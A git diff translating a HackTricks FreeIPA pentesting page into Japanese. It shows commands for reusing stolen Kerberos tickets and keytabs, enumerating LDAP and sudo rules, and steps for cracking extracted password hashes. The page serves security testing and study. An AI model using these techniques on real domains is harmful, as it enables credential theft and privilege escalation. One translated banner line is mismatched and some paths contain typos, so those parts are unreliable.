☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか? HackTricks であなたの会社を宣伝したいですか?または、PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロードしたりしたいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!** -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見しましょう、私たちの独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discord グループ** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md) **@carlospolopm**([**@hacktricks_live**](https://twitter.com/hacktricks_live))をフォローしてください** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)** に PR を提出してください。
diff --git a/linux-hardening/freeipa-pentesting.md b/linux-hardening/freeipa-pentesting.md index 46a1e73ed..5c2641303 100644 --- a/linux-hardening/freeipa-pentesting.md +++ b/linux-hardening/freeipa-pentesting.md @@ -1,123 +1,117 @@ -# FreeIPA Pentesting +# FreeIPA ペントesting
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。これは、**Unix**環境の統合管理ソリューションとして主に使用される、Microsoft Windows **Active** **Directory**のオープンソースの**代替**です。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-This info was taken from the posts: +この情報は以下の投稿から取得されました: * [https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a](https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a) * [https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1](https://posts.specterops.io/attacking-freeipa-part-ii-enumeration-ad27224371e1) * [https://www.youtube.com/watch?v=9dOu-7BTwPQ\&feature=youtu.be](https://www.youtube.com/watch?v=9dOu-7BTwPQ\&feature=youtu.be) -## Basic Information +## 基本情報 -It is an open source **alternative** to Microsoft Windows **Active** **Directory**, primarily used as an integrated management solution for **Unix** environments. Similar to Active Directory, FreeIPA implements a full **LDAP directory** infrastructure backed by an MIT **Kerberos** Key Distribution Center. It uses the Dogtag **Certificate System** for CA & RA certificate management, giving it the ability to handle **multi-factor** authentication, including smartcards. SSSD is used to integrate FreeIPA into the standard Unix authentication process. +これはMicrosoft WindowsのActive Directoryのオープンソースの**代替**であり、主に**Unix**環境の統合管理ソリューションとして使用されます。FreeIPAは、MITの**Kerberos**キー配布センターによってバックアップされた完全な**LDAPディレクトリ**インフラストラクチャを実装しています。Dogtag **Certificate System**を使用してCA&RA証明書の管理を行い、スマートカードを含む**マルチファクタ**認証を処理する能力を持っています。SSSDは、FreeIPAを標準のUnix認証プロセスに統合するために使用されます。 -## Fingerprints +## フィンガープリント -### Files & Env Vars +### ファイルと環境変数 -* **`/etc/krb5.conf`:** The `krb5.conf` file contains the Kerberos client information required to be **enrolled in the domain**. This includes the **locations of KDCs and admin** servers for the Kerberos realms of interest, defaults for the current realm and for Kerberos applications, and mappings of hostnames onto Kerberos realms. -* **`/etc/ipa/default.conf`:** This is the **default configuration file for IPA servers**, it is used to set system-wide defaults to be applied when running IPA clients and servers. -* **`/etc/krb5.keytab`:** The `krb5.keytab` file is **required** on all hosts inside of the **domain**. It is required as part of the **authentication** process to the KDC. -* **`KRB5CCNAME`:** If set, this variable points to the **location of the CCACHE Ticket** to be used for authentication. -* **`KRB5_KTNAME`:** If set, this variable points to the **location** of the **Keytab** file to be used for authentication. -* **`KRB5_CONFIG`:** If set, this variable points to the **location** of the **Kerberos configuration** file. -* **`KRB5_KDC_PROFILE`:** If set, this variable points to the **location of the KDC configuration** file, which contains additional configuration directives for the Key Distribution Center daemon. -* **`KRB5RCACHETYPE`:** This variable specifies the **default type of replay cache** to use for servers. -* **`KRB5RCACHEDIR`:** This variable specifies the **default directory for replay caches** used by servers. -* **`KRB5_TRACE`:** This variable specifies a **filename to write trace log output to**. Trace logs can help illuminate decisions made internally by the Kerberos libraries. -* **`KRB5_CLIENT_KTNAME`:** This variable sets the **default client keytab** file name. -* **`KPROP_PORT`:** This variable sets the **default port for kprop** to use. +* **`/etc/krb5.conf`:** `krb5.conf`ファイルには、ドメインに**登録するために必要なKerberosクライアント情報**が含まれています。これには、興味のあるKerberosレルムのKDCと管理サーバーの**場所**、現在のレルムとKerberosアプリケーションのデフォルト、およびホスト名をKerberosレルムにマッピングする情報が含まれます。 +* **`/etc/ipa/default.conf`:** これは**IPAサーバーのデフォルト設定ファイル**であり、IPAクライアントとサーバーを実行する際に適用されるシステム全体のデフォルトを設定するために使用されます。 +* **`/etc/krb5.keytab`:** `krb5.keytab`ファイルは**ドメイン内のすべてのホストで必要**です。これはKDCへの**認証**プロセスの一部として必要です。 +* **`KRB5CCNAME`:** 設定されている場合、この変数は認証に使用される**CCACHEチケットの場所**を指します。 +* **`KRB5_KTNAME`:** 設定されている場合、この変数は認証に使用される**Keytabファイルの場所**を指します。 +* **`KRB5_CONFIG`:** 設定されている場合、この変数は**Kerberos設定**ファイルの場所を指します。 +* **`KRB5_KDC_PROFILE`:** 設定されている場合、この変数はKey Distribution Centerデーモンの追加の設定ディレクティブが含まれる**KDC設定**ファイルの場所を指します。 +* **`KRB5RCACHETYPE`:** この変数は、サーバーで使用する**リプレイキャッシュのデフォルトタイプ**を指定します。 +* **`KRB5RCACHEDIR`:** この変数は、サーバーが使用する**リプレイキャッシュのデフォルトディレクトリ**を指定します。 +* **`KRB5_TRACE`:** この変数は、トレースログ出力を書き込むための**ファイル名**を指定します。トレースログは、Kerberosライブラリによって内部で行われる決定を明らかにするのに役立ちます。 +* **`KRB5_CLIENT_KTNAME`:** この変数は、デフォルトのクライアントキーテーブルファイル名を設定します。 +* **`KPROP_PORT`:** この変数は、kpropが使用する**デフォルトのポート**を設定します。 -### Binaries +### バイナリ -* **ipa:** This binary is the standard for **managing a FreeIPA domain**. It can be used to manage hosts, users, sudo rules, and much more. -* **kdestroy:** The kdestroy binary is used to **destroy** any current **Kerberos** **tickets** in the users session. -* **kinit:** The kinit binary is used to **establish**, or **renew** **Kerberos tickets**. -* **klist:** The klist binary **lists** any current **Kerberos tickets in use**, and which principals the tickets provide access to. -* **kpasswd:** The kpasswd command is used to **change a Kerberos principal’s password**. kpasswd first prompts for the current Kerberos password, then prompts the user twice for the new password, and the password is changed. -* **ksu:** Ksu can be used as an **alternative to the su binary**, to switch the current **user context**. -* **kswitch:** The kswitch command will **switch** the current **credential cache in use**. -* **kvno:** The kvno binary acquires a **service ticket** for the **specified Kerberos** principals and prints out the key version numbers of each. +* **ipa:** このバイナリは**FreeIPAドメインの管理**の標準です。ホスト、ユーザー、sudoルールなどを管理するために使用できます。 +* **kdestroy:** kdestroyバイナリは、ユーザーセッションで現在の**Kerberosチケットを破棄**するために使用されます。 +* **kinit:** kinitバイナリは、**Kerberosチケットを確立**または**更新**するために使用されます。 +* **klist:** klistバイナリは、使用中の**Kerberosチケット**とチケットがアクセス権を提供するプリンシパルを一覧表示します。 +* **kpasswd:** kpasswdコマンドは、Kerberosプリンシパルのパスワードを変更するために使用されます。kpasswdはまず現在のKerberosパスワードを要求し、次に新しいパスワードを2回ユーザーに要求し、パスワードが変更されます。 +* **ksu:** ksuは、現在の**ユーザーコンテキスト**を切り替えるためのsuバイナリの**代替**として使用できます。 +* **kswitch:** kswitchコマンドは、使用中の**資格情報キャッシュを切り替え**ます。 +* **kvno:** kvnoバイナリは、指定されたKerberosプリンシパルの**サービスチケット**を取得し、各チケットのキーバージョン番号を表示します。 +### ネットワーク -### Network - -This is how a FreeIPA server might look like: +以下はFreeIPAサーバーの見た目です:
-## Authentication +## 認証 -Since FreeIPA uses **Kerberos for authentication**, this process is very similar to **authentication** in **Active Directory**. In order to **access** resources on the domain, a user must have a v**alid Kerberos ticket** for that resource. These tickets can be stored in a number of different locations based on the configuration of the FreeIPA domain. +FreeIPAは**認証にKerberosを使用**しているため、このプロセスは**Active Directory**の**認証**と非常に似ています。ドメイン上のリソースにアクセスするためには、ユーザーはそのリソースに対して**有効なKerberosチケット**を持っている必要があります。これらのチケットは、FreeIPAドメインの設定に基づいて、さまざまな場所に保存されることがあります。 -### **CCACHE Ticket Files** +### **CCACHEチケットファイル** -When tickets are set to be **stored** as a **file** on **disk**, the standard format and type is a **CCACHE** file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in **`/tmp`** and scoped with **600** permissions. From an attackers perspective this is important for the following reasons: +チケットが**ディスク上のファイル**として**保存**される場合、標準の形式とタイプは**CCACHE**ファイルです。これはKerberosの資格情報を保存するためのシンプルなバイナリファイル形式です。これらのファイルは通常、**`/tmp`**に保存され、**600**のパーミッションでスコープが設定されています。攻撃者の観点からは、以下の理由で重要です: -1. Valid tickets can be **utilized to authenticate**, **without** the need of the respective users plaintext **password**. -2. **CCACHE** tickets are highly **portable**. They can be downloaded and loaded onto another host without the need to renew, or validate the ticket. - -**Parsing** a CCACHE Ticket is easily accomplished a number of different ways. The simplest method is parsing it with the klist binary. +1. 有効なチケットは、対応するユーザーの平文の**パスワード**を必要とせずに**認証に利用**できます。 +2. **CCACHE**チケットは非常に**移植性が高い**です。チケットをダウンロードして別のホストにロードすることができ、チケットを更新または検証する必要はありません。 +CCACHEチケットの**解析**は、さまざまな方法で簡単に行うことができます。最も簡単な方法は、klistバイナリを使用して解析することです。 ``` klist /tmp/krb5cc_0 ``` -
-For an attacker re-using a CCACHE Ticket is very easy. To **re-use** a valid CCACHE Ticket, **export** **KRB5CCNAME** to the **path** of the valid ticket file. The system should recognize the environment variable and will attempt to use that credential material when interacting with the domain. - +攻撃者にとって、有効なCCACHEチケットの再利用は非常に簡単です。有効なCCACHEチケットを**再利用**するには、**KRB5CCNAME**を有効なチケットファイルの**パス**に**エクスポート**します。システムは環境変数を認識し、ドメインとのやり取り時にその認証資格情報を使用しようとします。 ```bash export KRB5CCNAME=/tmp/krb5cc_0 klist ``` -
-### **Unix Keyring** +### **Unixキーリング** -CCACHE Tickets \*\*\*\* can also be **stored** in \*\*\*\* the Linux **keyring**. The keyring lives inside of the **kernel**, and gives administrators **more control over the retrieval and use of stored tickets**. Tickets can be scoped in the following different ways: +CCACHEチケットはLinuxのキーリングにも**保存**できます。キーリングはカーネル内に存在し、管理者には**保存されたチケットの取得と使用に対するより多くの制御権限が与えられます**。チケットは以下のような異なる方法でスコープを指定できます: -* **`KEYRING:name`:** Tickets are scoped to a specific named Keyring. -* **`KEYRING:process:name`:** Tickets are scoped to a specific process id. -* **`KEYRING:thread:name`:** Tickets are scoped to a specific thread. -* **`KEYRING:session:name`:** Tickets are scoped to a specific user session. -* **`KEYRING:persistent:uidnumber`:** Tickets are scoped to a specific user regardless of session (default). +- **`KEYRING:name`:**特定の名前付きキーリングにスコープが指定されます。 +- **`KEYRING:process:name`:**特定のプロセスIDにスコープが指定されます。 +- **`KEYRING:thread:name`:**特定のスレッドにスコープが指定されます。 +- **`KEYRING:session:name`:**特定のユーザーセッションにスコープが指定されます。 +- **`KEYRING:persistent:uidnumber`:**セッションに関係なく、特定のユーザーにスコープが指定されます(デフォルト)。 -Depending on how the administrator scoped the ticket stored inside of the Unix keyring, parsing it out may be difficult. However, the **default** **scope** for CCACHE Tickets in the Unix keyring is **`KEYRING:persistent:uidnumber`**. Fortunately if you are in the **context** of the **user**, `klist` can **parse** this information for us. +Unixキーリング内に保存されたCCACHEチケットのスコープが管理者によってどのように指定されているかによって、解析することが困難になる場合があります。ただし、Unixキーリング内のCCACHEチケットのデフォルトスコープは**`KEYRING:persistent:uidnumber`**です。幸いなことに、ユーザーの**コンテキスト**であれば、`klist`コマンドを使用してこの情報を解析できます。
-As an attacker, **re-using a CCACHE** Ticket stored in the Unix **keyring** is fairly **difficult** depending on how the ticket is scoped. Fortunately [@Zer1t0](https://github.com/Zer1t0) from [@Tarlogic](https://twitter.com/Tarlogic) has built a tool that can extract Kerberos tickets from the Unix keyring. The tool is called **Tickey** and can be found [**here**](https://github.com/TarlogicSecurity/tickey). +攻撃者としては、Unixキーリングに保存されたCCACHEチケットを再利用することは、チケットのスコープによってはかなり困難です。幸いなことに、[@Zer1t0](https://github.com/Zer1t0)氏の[@Tarlogic](https://twitter.com/Tarlogic)からは、UnixキーリングからKerberosチケットを抽出するツールが開発されています。このツールは**Tickey**と呼ばれ、[**こちら**](https://github.com/TarlogicSecurity/tickey)で入手できます。
-### Keytab +### キータブ {% hint style="warning" %} -usually, each host is deployed with a keytab credential for that host that can be used to obtain a valid Credential Cache(CCACHE) Ticket Granting Ticket(TGT) for the host itself. +通常、各ホストはそのホストのためにデプロイされたキータブ資格情報を持っており、それを使用してホスト自体の有効なCredential Cache(CCACHE)チケット発行チケット(TGT)を取得することができます。 {% endhint %} -It consists of pairs of **Kerberos principals and encrypted keys** that are derived from the Kerberos password associated with the principal. Since these keys are derived from the principal’s password, if that **password changes the keytab will be invalidated**. +キータブは、Kerberosのプリンシパルと暗号化キーのペアで構成されています。これらのキーは、プリンシパルのパスワードから派生しているため、パスワードが変更されるとキータブは無効になります。 -Keytab files can be used to **obtain a valid ticket granting ticket** (TGT) for the principal it is scoped to. This authentication process **does not require the password**, as it contains keys derived from the password. +キータブファイルは、それがスコープに指定されているプリンシパルのための有効なチケット発行チケット(TGT)を取得するために使用できます。この認証プロセスでは、パスワードは必要ありません。なぜなら、キータブにはパスワードから派生したキーが含まれているからです。 -Parsing a Keytab file is very easy, and can be accomplished a few ways. The easiest way to **parse** a **keytab** file is with **klist**. The second way utilizes a great python utility that [Cody Thomas](https://medium.com/u/645ffcef8682?source=post\_page-----77e73d837d6a--------------------------------) has created. His \*\*\*\* [**KeytabParser**](https://github.com/its-a-feature/KeytabParser) \*\*\*\* project will parse out the principal and its relevant encrypted keys. +キータブファイルの解析は非常に簡単で、いくつかの方法で行うことができます。キータブファイルを解析する最も簡単な方法は、`klist`コマンドを使用することです。2番目の方法は、Cody Thomas氏が作成した優れたPythonユーティリティを利用する方法です。彼の[**KeytabParser**](https://github.com/its-a-feature/KeytabParser)プロジェクトは、プリンシパルと関連する暗号化キーを解析します。
-Attackers can **re-use credentials stored in keytab files by generating a CCACHE Ticket** through the kinit binary. - +攻撃者は、キータブファイルに保存された資格情報を再利用することができます。これは、kinitバイナリを使用してCCACHEチケットを生成することによって行われます。 ```powershell # Parse keytab klist -k /rtc/krb5.keytab @@ -125,37 +119,33 @@ klist -k /rtc/krb5.keytab # Get TGT kinit -kt /etc/krb5.keytab host/bastion.westeros.local@WESTEROS.LOCAL ``` -
-### Cheatsheet +### チートシート -You can find more information about how to use tickets in linux in the following link: +Linuxでチケットを使用する方法についての詳細情報は、以下のリンクで見つけることができます: {% content-ref url="privilege-escalation/linux-active-directory.md" %} [linux-active-directory.md](privilege-escalation/linux-active-directory.md) {% endcontent-ref %} -## Enumeration +## 列挙 {% hint style="warning" %} -You could perform the **enumeration** via **ldap** and other **binary** tools, or **connecting to the web page in the port 443 of the FreeIPA server**. +**列挙**は、**ldap**や他の**バイナリ**ツールを使用するか、FreeIPAサーバーのポート443でのウェブページに接続することで実行できます。 {% endhint %}
-### Hosts, Users, and Groups +### ホスト、ユーザー、およびグループ -It's possible to create **hosts**, **users** and **groups**. Hosts and users are sorted into containers called “**Host Groups**” and “**User Groups**” respectively. These are similar to **Organizational Units** (OU). - -By default in FreeIPA, the LDAP server allows for **anonymous binds**, and a large swath of data is enumerable **unauthenticated**. This can enumerate all data available unauthenticated: +**ホスト**、**ユーザー**、および**グループ**を作成することが可能です。ホストとユーザーはそれぞれ「**ホストグループ**」と「**ユーザーグループ**」と呼ばれるコンテナに分類されます。これらは**組織単位**(OU)に類似しています。 +デフォルトでは、FreeIPAではLDAPサーバーが**匿名バインド**を許可し、多くのデータが**非認証**で列挙可能です。これにより、非認証で利用可能なすべてのデータを列挙することができます: ``` -ldapsearch -x +ldapsearch -x ``` - -To get **more information** you need to use an **authenticated** session (check the Authentication section to learn how to prepare an authenticated session). - +**さらなる情報**を得るためには、**認証済み**のセッションを使用する必要があります(認証済みセッションの準備方法については、認証セクションを確認してください)。 ```bash # Get all users of domain ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=domain_name,dc=local" @@ -167,11 +157,9 @@ ldapsearch -Y gssapi -b "cn=groups,cn=accounts,dc=domain_name,dc=local" ldapsearch -Y gssapi -b "cn=computers,cn=accounts,dc=domain_name,dc=local" # Get hosts groups -ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local" +ldapsearch -Y gssapi -b "cn=hostgroups,cn=accounts,dc=domain_name,dc=local" ``` - -From a domain joined machine you will be able to use **installed binaries** to enumerate the domain: - +ドメインに参加したマシンからは、**インストールされたバイナリ**を使用してドメインを列挙することができます。 ```bash ipa user-find ipa usergroup-find @@ -185,36 +173,34 @@ ipa usergroup-show --all ipa host-find --all ipa hostgroup-show --all ``` - {% hint style="info" %} -The **admin** user of **FreeIPA** is the equivalent to **domain admins** from **AD**. +**FreeIPA**の**admin**ユーザーは、**AD**の**ドメイン管理者**に相当します。 {% endhint %} -### Hashes +### ハッシュ -The **root** user from the **IPA serve**r has access to the password **hashes**. +**IPAサーバー**の**root**ユーザーは、パスワードの**ハッシュ**にアクセスできます。 -* The password hash of a user is stored as **base64** in the “**userPassword**” **attribute**. This hash might be **SSHA512** (old versions of FreeIPA) or **PBKDF2\_SHA256**. -* The **Nthash** of the password store as **base64** in “**ipaNTHash**” if system has **integration** with **AD**. +- ユーザーのパスワードハッシュは、「**userPassword**」**属性**に**base64**で保存されます。このハッシュは**SSHA512**(古いバージョンのFreeIPA)または**PBKDF2\_SHA256**である可能性があります。 +- システムが**AD**と**統合**されている場合、パスワードの**Nthash**は「**ipaNTHash**」として**base64**で保存されます。 -To crack these hashes: +これらのハッシュをクラックするには: -• If freeIPA integrated with AD, **ipaNTHash** is easy to crack: You should **decode** **base64** -> re-encoded it as **ASCII** hex -> John The Ripper or **hashcat** can help you to crack it fast +- FreeIPAがADと統合されている場合、**ipaNTHash**は簡単にクラックできます:**base64**を**デコード**して -> **ASCII**の16進数に再エンコードして -> John The Ripperまたは**hashcat**を使用して高速にクラックできます。 -• If an old version of FreeIPA is used, so **SSHA512** is used: You should decode **base64** -> find SSHA512 **hash** -> John The Ripper or **hashcat** can help you to crack it +- 古いバージョンのFreeIPAが使用されている場合、**SSHA512**が使用されます:**base64**をデコードして -> SSHA512 **ハッシュ**を見つけて -> John The Ripperまたは**hashcat**を使用してクラックできます。 -• If new version of FreeIPA is used, so **PBKDF2\_SHA256** is used: You should decode **base64** -> find PBKDF2\_SHA256 -> it’s **length** is 256 byte. John can work with 256 bits (32 byte) -> SHA-265 used as the pseudo-random function, block size is 32 byte -> you can use only first 256 bit of our PBKDF2\_SHA256 hash -> John The Ripper or hashcat can help you to crack it +- 新しいバージョンのFreeIPAが使用されている場合、**PBKDF2\_SHA256**が使用されます:**base64**をデコードして -> PBKDF2\_SHA256を見つけて -> **長さ**は256バイトです。Johnは256ビット(32バイト)で動作します -> 擬似乱数関数としてSHA-265が使用され、ブロックサイズは32バイトです -> PBKDF2\_SHA256ハッシュの最初の256ビットのみを使用できます -> John The Ripperまたはhashcatを使用してクラックできます。
-To extract the hashes you need to be **root in the FreeIPA server**, there you can use the tool **`dbscan`** to extract them: +ハッシュを抽出するには、**FreeIPAサーバーのroot**である必要があります。そこで、ツール**`dbscan`**を使用してハッシュを抽出できます:
-### HBAC-Rules - -There are the rules that grant specific permissions to users or hosts over resources (hosts, services, service groups...) +### HBACルール +これらは、ユーザーやホストにリソース(ホスト、サービス、サービスグループなど)に対する特定の権限を付与するルールです。 ```bash # Enumerate using ldap ldapsearch -Y gssapi -b "cn=hbac,dc=domain_name,dc=local" @@ -223,11 +209,9 @@ ipa hbacrule-find # Show info of rule ipa hbacrule-show --all ``` +#### Sudoルール -#### Sudo-Rules - -FreeIPA provides the ability to **manage sudo permissions** from one **centralized** source through sudo-rules. These rulesets can be used to restrict or delegate the ability to **execute commands as sudo** on hosts enrolled in the domain. As an attacker we can enumerate which hosts and users these rulesets are applied too, and which commands are allowed through the ruleset. - +FreeIPAは、sudoルールを介して、**中央集権化された**ソースからsudo権限を**管理**する機能を提供します。これらのルールセットは、ドメインに登録されたホストでの**sudoとしてのコマンドの実行権限**を制限または委任するために使用できます。攻撃者として、これらのルールセットが適用されるホストとユーザー、およびルールセットを通じて許可されるコマンドを列挙することができます。 ```bash # Enumerate using ldap ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=domain_name,dc=local" @@ -236,83 +220,80 @@ ipa sudorule-find # Show info of rule ipa sudorule-show --all ``` +### ロールベースのアクセス制御 -### Role-Based Access Control - -Each **role** contains a set of **privileges**, and those respective privileges contain a **set** of **permissions**. Roles can be **applied to Users**, User **Groups**, **Hosts**, Host Groups, and Services. To illustrate this concept let’s discuss the default “User Administrator” role in FreeIPA. +各**ロール**には、一連の**特権**が含まれており、それぞれの特権には一連の**許可**が含まれています。ロールは、ユーザー、ユーザーグループ、ホスト、ホストグループ、およびサービスに**適用**することができます。この概念を説明するために、FreeIPAのデフォルトの「ユーザー管理者」ロールについて説明しましょう。
-As the screenshot above shows the “User Administrator” role contains the following privileges: +上記のスクリーンショットに示されているように、「ユーザー管理者」ロールには次の特権が含まれています: -* **User Administrators** -* **Group Administrators** -* **Stage User Administrators** +* **ユーザー管理者** +* **グループ管理者** +* **ステージユーザー管理者** -We can drill down further and enumerate the **permissions** delegated to each **privilege**: +さらに、各特権に委任された**許可**を詳細に調べることができます:
-As we can see the “**User Administrator**” role contains quite **a lot of permissions** inside of the environment. Understanding the general concept and structure of **roles**, **privileges**, and **permissions** can be critical to identifying attack paths throughout an environment. - +「**ユーザー管理者**」ロールには、環境内にかなり**多くの許可**が含まれていることがわかります。**ロール**、**特権**、および**許可**の一般的な概念と構造を理解することは、環境全体での攻撃経路の特定に重要です。 ```bash # Using ldap ldapsearch -Y gssapi -b "cn=roles,cn=accounts,dc=westeros,dc=local" # Using ipa binary ipa role-find ipa role-show --all -ipa privilege-find +ipa privilege-find ipa privilege-show --all ipa permission-find ipa permission-show --all ``` +### 攻撃シナリオの例 -### Attack Scenario Example - -In [https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) you can find a simple example of how to abuse some permissions to compromise the domain. +[https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e](https://posts.specterops.io/attacking-freeipa-part-iii-finding-a-path-677405b5b95e) では、いくつかの権限を悪用してドメインを侵害する方法の簡単な例が示されています。 ### Linikatz [https://github.com/CiscoCXSecurity/linikatz](https://github.com/CiscoCXSecurity/linikatz) -## Privesc +## 特権昇格 -### ~~root user creation~~ +### ~~rootユーザーの作成~~ {% hint style="warning" %} -If you can **create a new user with the name `root`**, you can impersonate him and you will be able to **SSH into any machine as root.** +名前が `root` の新しいユーザーを作成できる場合、そのユーザーになりすまして任意のマシンに **root として SSH** できます。 -**THIS HAS BEEN PATCHED.** +**これは修正されました。** {% endhint %} -The "**User Administrators**" privilege, is very powerful (as its name indicates it): +「**User Administrators**」特権は非常に強力です(その名前が示すように):
-With this privilege comes a lot of different power to affect users inside the environment. Using this privilege we can **make a new user inside the FreeIPA domain named \_root**.\_ +この特権には、環境内のユーザーに影響を与えるためのさまざまな権限が付属しています。この特権を使用して、FreeIPA ドメイン内に新しいユーザーである `_root` を作成できます。
-Once the user is created in the domain we can **obtain a ticket for the account with \_kinit**\_. +ドメイン内にユーザーが作成されたら、 `_kinit` を使用してアカウントのチケットを取得できます。
-Now we can attempt to **SSH** using our newly created root domain account. +これで、新しく作成した root ドメインアカウントを使用して **SSH** を試行できます。
-As shown this **drops the user into the local root account**! So simply by creating a domain user for a local user we were able to authenticate using the _root@WESTEROS.LOCAL_ account and obtain the **user context of the local root account**_._ +表示されるように、これによりユーザーはローカルの root アカウントに移動します!したがって、ローカルユーザーのためにドメインユーザーを作成するだけで、_root@WESTEROS.LOCAL_ アカウントを使用して認証し、ローカル root アカウントのユーザーコンテキストを取得できました。 -_For more details about this vuln check_ [_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b)\\ +この脆弱性の詳細については、[_https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b_](https://posts.specterops.io/attacking-freeipa-part-iv-cve-2020-10747-7c373a1bf66b) を参照してください。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** HackTricks で **会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) をご覧ください。独占的な [**NFT**](https://opensea.io/collection/the-peass-family) のコレクションです。 +* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**Telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 